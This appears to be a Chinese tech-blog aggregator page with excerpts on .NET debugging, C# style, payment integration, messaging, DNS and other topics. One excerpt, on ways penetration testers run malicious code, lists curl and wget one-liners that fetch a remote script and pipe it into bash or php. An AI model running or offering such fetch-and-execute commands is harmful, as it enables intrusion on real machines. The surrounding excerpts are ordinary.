.Net Framework

教你配置windows上的windbg,linux上的lldb,打入clr内部这一篇就够了

◇◆丶佛笑我妖孽 提交于 2020-09-30 05:39:56
一:背景 1. 讲故事 前几天公众号里有位兄弟看了几篇文章之后,也准备用windbg试试看,结果这一配就花了好几天,(づ╥﹏╥)づ,我想也有很多跃跃欲试的朋友在配置的时候肯定会遇到这样和那样的问题,所以我觉得有必要整理一下,让大家少走弯路。 二:一些基础概念 1. 在哪下载 现在安装windbg越来越麻烦,还要安装Windows 10 SDK,很多人就栽在这里,其实大家可以直接在网上找一键打包的windbg 6.0版本即可,才30多M,调生产调本地都很方便,顺带还可以练练SOS命令。 云盘: https://pan.baidu.com/s/1VqXVIGVHxAZ***ds1525Jg 提取码:mahg 外网: http://www.33lc.com/soft/96743.html 2. 版本问题 解压打开会有一个x64和x86文件夹,很显然,32位的程序用x86下的windbg调试,64位的程序用x64的windbg调试,如下图: 3. 其他的问题 我比较喜欢用64bit程序,所以这里使用64位的windbg。 <1> 配置微软公有符号 符号其实就是pdb文件,我们在debug模式下编译项目都会看到这个,它的作用会对dll进行打标,这样在调试时通过pdb就能看到局部变量,全局变量,行号等等其他信息,在FCL类库中的pdb文件就放在微软的公有服务器上,SRV C:

如何编写高质量的C#代码(一)

时光总嘲笑我的痴心妄想 提交于 2020-09-30 04:29:01
如 何编写高质量的C#代码(一 ) 从”整洁代码“谈起 一千个读者,就有一千个哈姆雷特,代码质量也同样如此。 想必每一个对于代码有追求的开发者,对于“高质量”这个词,或多或少都有自己的一丝理解。 当我在长沙.NET技术社区群抛出这个问题时,众说纷纭。有人说注释齐全、可读性高,就是高质量;有人说变量命名、代码层次清晰,就说高质量的代码;有人说那些使用了新特性的代码,很多都是高质量代码;也有人说,高质量的代码是个伪命题,因为他往往要花大量的精力才能精心打磨,有这个时间,产品早就黄了。 说到”高质量“代码,就不得不提”整洁代码”。这个概念来源于畅销书《代码整洁之道》(The Clean Code)中,鲍勃大叔引入了这个整洁代码的概念,他认为 写整洁代码,需要遵循大量的小技巧,贯彻艰苦习得的‘整洁感’”,这种“代码感”就说关键所在。有些人生而有之。有的人费点劲才能得到。它不仅让我们看到代码的优劣,还予我们以借戒规之力化优为列的攻略。 缺乏”代码感”的程序员,看混乱是混乱,无处着手,有“代码感”的程序员,能从混乱中看出其他的可能与变化。“代码感”帮助程序员选出最好的方案,并指导程序员指定修改行动计划,按图索骥。 编写整洁代码的程序员就像艺术家,他能够用一系列变化把一块白板变作由优雅代码构成的系统。 这本书值得摆在每一位程序员的案头

TinkPHP框架开发的CRMEB小程序商城v4.0二次开发集成支付宝支付

一曲冷凌霜 提交于 2020-09-30 03:36:19
前言 大家都知道支付宝支付和微信支付宝都只能局限在自己的平台,微信内支付宝支付是根本就不能使用,即使是公众号支付也需要跳转到外部浏览器才可以唤起支付宝支付,并且QQ浏览器唤起支付宝支付还是问题很多,所以一般在微信生态内的应用一般都不考虑接入支付宝,但仍然有不少用户有这方面的需求,今天就给大家做个详细接入流程! 开通支付宝支付 开通过程省略,可查看帮助文档: http://help.crmeb.net/crmeb_zsff/1514732 , 这是crmeb知识付费系统的支付宝支付,不过开通的流程都是一样的。 2. 下载支付宝支付SDK 下载地址: https://opendocs.alipay.com/open/54/103419 说明:新版SDK可用composer安装,目前使用的旧版本,是不能使用composer安装 3. 创建aliapay支付类 创建路径: crmeb/services/AlipayService.php , 把下载好的文件解压在 vendor 目录中目录结构为: /vendor/alipay/ 4. AlipayService 采用单例设计模式,支付宝支付的SDK旧版本不能用composer加载这就很不优雅了,不能在类初始化的时候加载,而且第一次载入时非常慢。 <?php /** * @author: liaofei<136327134@qq.com> *

推荐一款万能抓包神器:Fiddler Everywhere

泪湿孤枕 提交于 2020-09-29 16:52:02
搞IT技术的同行,相信没有几个人是不会抓包这项技能的(如果很不幸你中枪了,那希望这篇文章给你一些动力),市面上的抓包工具也有很多,常用的有: Charles 、 Fiddler 、 Burpsuite 、 WireShark 、 mitmproxy 如果从市场使用率来讲,特别是对于Windows用户来说, Fiddler 抓包使用人群占比最多。 由于 Fiddler 基于.NET开发,对于像我这类Mac系统的资深用户来讲,显然不太合适,为了解决Mac下使用Fiddler的问题,早在2016年官方出过一款名为 Fiddler for OS X Beta 1 尝试来解决这类问题, 但这款工具必须通过Mono才可以在Mac上使用。并且在Mac上使用是非常不稳定, 有非常多的问题。 所幸的是,在2018年,官方又进一步推出了一款名为: Fiddler Everywhere 的抓包工具,今天就给大家聊一聊这款工具。 虽然Mac下GUI抓包工具,首推Charles,但多掌握一项抓包工具,对自己肯定是没有坏处。 1. Fiddler Everywhere 介绍 从名称上来看,就大概能猜出它的寓意,官方也通过一段话,解释了 Fiddler Everywhere 的作用: Fiddler Everywhere is a web debugging proxy for any browser, any

MassTransit Get Started->

半腔热情 提交于 2020-09-29 15:47:04
MassTransit:是一款.NET的分布式应用程序框架(开源、免费)。通过MassTransit,可以轻松创建利用基于消息的、松耦合异步通信的应用程序和服务,以提高可用性,可靠性和可伸缩性。 MassTransit本身定位轻量级的服务总线,并支持多种传输方式如:RabbitMQ、Azure Service Bus、ActiveMQ、Amazon SQS、Kafka、Azure Event Hub。消息异常处理:重试配置、重新交付、erro管道、死信管道。分布式事务处理:sagas、Courier。容器支持:.NETcore自身的、autofac、castle windsor等、调度支持:Quartz 、hangfire。更多功能参考官网文档。 MassTransit目前已经发布到了第7个版本了,7.0版本新增了对Kafka 的支持,构建仅支持.NET Standard 2.0...其他改动不大。MassTransit社区使用也是很活跃的,对于首次接触的,通过本篇文章(基于rabbitmq)帮你快速入门! 一个应用程序或服务可以使用两种不同的方法来生产消息,主要区别是sent需要指定具体的端点地址,而pub不需要,下面的代码会演示这两种方式。 发布事件(多个接收者) 发送命令(一个接收者) 发布事件(事件消息) 场景假设:在xx项目中,需要与第三方进行交互。比如:订单发货之后

通过命令下载执行恶意代码的几种姿势

送分小仙女□ 提交于 2020-09-29 15:29:00
本文转载自微信公众号「Bypass」,作者Bypass。转载本文请联系Bypass公众号。 在 过程中, 者往往需要通过命令下载执行恶意代码,实现信息收集、持久化、权限提升、防御绕过、提取凭证、横向移动、数据渗出等操作。 在目标主机执行恶意代码,可以分为上传/下载并执行恶意代码和无文件远程恶意代码执行。接下来,我们来总结一下Linux和Windows中下载和执行恶意代码的一些姿势。 一、Linux 远程恶意代码执行 01、curl 以用curl的方式执行http页面上的shell脚本,无需download,在本地机器上直接执行。 方式1:curl -fsSL http://192.168.99.19:8080/test.sh | bash 方式2:bash < <( curl http://192.168.99.19:8080/test.sh ) 02、wget 执行wget命令远程下载恶意程序。 方式1:wget -q -O- http://192.168.99.19:8080/test.sh | bash 方式2:wget http://192.168.99.19:8080/shell.txt -O /tmp/x.php && php /tmp/x.php curl+wget合并,实现无文件远程恶意代码执行。 bash -c '(curl -fsSL http://192

windows server 2012 IIS + DCOM 启动office 设置

梦想的初衷 提交于 2020-09-28 14:04:04
.net 程序中需要调用word文档转换程序,windows server 2012 R2 版本调试了好久才顺利通过,记录如下: 1. iis 设置 在应用程序池中,选中需要操作的池对象,点 高级设置,选中标识,设置为 administrator nternet Information Services(IIS)管理器-->应用程序池-->zyk(池对象)-->高级设置-->标识-->administrator 重启站和应用程序池。 2. 打开组件服务 组件服务-->控制台根节点-->组件服务-->计算机-->我的电脑-->DCOM配置-->Microsoft Office Word 97 - 2003 文档 属性 如果没有找到 “Microsoft Office Word 97 - 2003 文档 ” 是因为64位操作系统,不能显示32位的dcom,可以使用如下命令显示 3.设置常规属性 4.设置位置属性: 5. 设置安全属性: 6.设置访问权限属性: 7.设置标识属性: 8.设置以后,可以在服务器后台通过iis运行word程序 来源: oschina 链接: https://my.oschina.net/u/4269975/blog/4650873

.Net Core中的诊断日志DiagnosticSource讲解

夙愿已清 提交于 2020-09-28 12:00:58
前言 近期由于需要进行分布式链路跟踪系统的技术选型,所以一直在研究链路跟踪相关的框架。作为能在.Net Core中使用的APM,SkyWalking自然成为了首选。 SkyAPM-dotnet 是SkyWalking在.Net Core端的探针实现,其主要的收集日志的手段就是基于DiagnosticSource来进行诊断跟踪的。不得不说SkyAPM-dotnet的设计还是非常优秀的,它本身定义了一套非常规范的标准,而且提供了非常良好的扩展性,虽然框架本身可支持的采集端有限,但是基于这套标准扩展起来还是非常方便的。 概念介绍 关于DiagnosticSource它本身是一个基于发布订阅模式的工作模式,由于它本身的实现方式是异步的,所以不仅仅可以把它用到日志上,还可以用它实现异步操作,或者用它简化实现发布订阅的功能。DiagnosticSource本身是一个抽象类,我们最常用到的是它的子类DiagnosticListener,通过DiagnosticSource的Write方法实现发布一条有具体名称的消息,然后通过IObserver去订阅消息。DiagnosticListener可以实现不同的实例,每个实例可以有自己的名称,每个实例还可以发布不同名称的消息,好比一个在写代码的时候我们可以定义多个程序集,一个程序集下面可以包含多个命名空间。 使用方式

KDD Cup 2020多模态召回比赛亚军方案与搜索业务应用

岁酱吖の 提交于 2020-09-28 09:50:04
1. 背景 ACM SIGKDD (ACM SIGKDD Conference on Knowledge Discovery and Data Mining)是世界数据挖掘领域的顶级国际会议。KDD Cup比赛由ACM SIGKDD举办,从1997年开始每年举办一次,也是数据挖掘领域最有影响力的赛事之一。该比赛同时面向企业界和学术界,云集了世界数据挖掘界的顶尖专家、学者、工程师、学生等参加,通过竞赛,为数据挖掘从业者们提供了一个学术交流和研究成果展示的理想场所。今年,KDD Cup共设置四个赛道共五道赛题,涉及数据偏差问题(Debiasing)、多模态召回(Multimodalities Recall)、自动化图学习(AutoGraph)、对抗学习问题和强化学习问题。 美团搜索广告算法团队最终在 Debiasing 赛道中获得冠军(1/1895),在 AutoGraph 赛道中也获得了冠军(1/149)。在 Multimodalities Recall 赛道中,亚军被美团搜索与NLP团队摘得(2/1433),美团搜索广告算法团队获得了第三名(3/1433)。 跟其它电商公司一样,美团业务场景中除了文本,还存在图片、动图、视频等多种模态信息。同时,美团搜索是典型的多模态搜索引擎,召回和排序列表中存在POI、图片、文本、视频等多种模态结果

DNS解析流程、HTTP

坚强是说给别人听的谎言 提交于 2020-09-28 09:49:33
dns解析基本流程 www.qq.com 根 ==>全球13台 顶级域 .com .org .net 二级域名 qq www 用户访问网站本地没有交给LDNS去找自己的缓存,本地host和缓存没有找LDNS,去根(.),根只有.com,.com只有qq.com,qq.com有 www.qq.com解析记录 把www.qq.com地址返回本地的dns在本地缓存把解析的记录返回给浏览器,浏览器拿到对应的ip地址,请求对应的服务器并缓存 不是递归访问和迭代访问 用户访问网站的流程:用户访问我的网站域名www.qq.com,先查本地的host以及dns缓存,如果没有会先找LDNS, LDNS会从根开始解析,找根.找com、qq.www最后找到授权的dns服务器,授权的dns服务器给对应域名的解析的ip地址返回给LDNS本地缓存、给用户、用户也缓存同时也访问对应的服务器返回内容。 http协议中文名称“超文本传输协议”是互联网上应用最为广泛的一种网络协议。所有的www都必须遵守这个标准。设计最初的目的是为了提供一种发布和接收HTML(一种页面标记语言)页面的方法 http协议对应看很多应用,www(简称web)应用是其中的一种 http协议www服务的默认端口是80 加密的www服务,https默认端口443() 怎么检测SYN"***" 使用命令netstat -nap | grep